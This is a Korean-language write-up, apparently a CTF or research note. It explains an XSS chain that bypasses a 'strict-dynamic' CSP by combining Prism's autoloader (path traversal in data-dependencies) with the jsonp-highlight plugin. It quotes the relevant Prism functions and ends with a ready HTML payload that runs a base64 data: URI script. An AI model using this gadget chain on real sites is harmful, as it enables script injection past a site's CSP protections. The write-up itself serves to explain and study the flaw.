Prism Autoloader + JSONP Highlight
Prism의 autoloader는 data-dependencies 값을 바탕으로 스크립트를 동적으로 로드하며, jsonp-highlight는 data-jsonp를 사용해 <script src=...>를 삽입한다.
CSP의 script-src에 'strict-dynamic'이 설정되어 있으면, 이를 지원하는 브라우저는 nonce로 신뢰받은 Prism 스크립트가 동적으로 추가한 스크립트에도 그 신뢰를 전파한다. 따라서 아래 입력이 가능하면 XSS 체인이 성립할 수 있다.
- Prism Autoloader
function getDependencies(element) {
var deps = (element.getAttribute('data-dependencies') || '').trim();
if (!deps) {
var parent = element.parentElement;
if (parent && parent.tagName.toLowerCase() === 'pre') {
deps = (parent.getAttribute('data-dependencies') || '').trim();
}
}
return deps ? deps.split(/\s*,\s*/g) : [];
}
function getLanguagePath(lang) {
return config.languages_path + 'prism-' + lang + (config.use_minified ? '.min' : '') + '.js';
}
getDependencies()가 반환한 문자열은 그대로 getLanguagePath(lang)의 lang으로 들어간다. data-dependencies="…"에 있는 각 항목이 deps 배열에 들어가고, 각 항목이 lang으로 그대로 전달되어 경로 문자열에 합쳐진다.
최종 src = languages_path + "prism-" + (data-dependencies 값) + ".min.js"
https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/
+ "prism-/../../plugins/jsonp-highlight/prism-jsonp-highlight"
+ ".min.js"
결국 정규화 이후에는 https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/plugins/jsonp-highlight/prism-jsonp-highlight.min.js가 되어 다른 스크립트가 로딩된다.
- JSONP Highlight
function jsonp(src, callbackParameter, onSuccess, onError) {
var callbackName = 'prismjsonp' + jsonpCallbackCounter++;
var uri = document.createElement('a');
uri.href = src;
uri.href += (uri.search ? '&' : '?') + (callbackParameter || 'callback') + '=' + callbackName;
var script = document.createElement('script');
script.src = uri.href;
document.head.appendChild(script);
}
data-jsonp 값이 그대로 <script src>로 삽입된다.
<pre class="language-javascript" data-src="/" data-dependencies="/../../plugins/jsonp-highlight/prism-jsonp-highlight" data-jsonp="data:text/javascript;base64,YWxlcnQoKQ==#"></pre>
이런 식으로 XSS가 가능하다.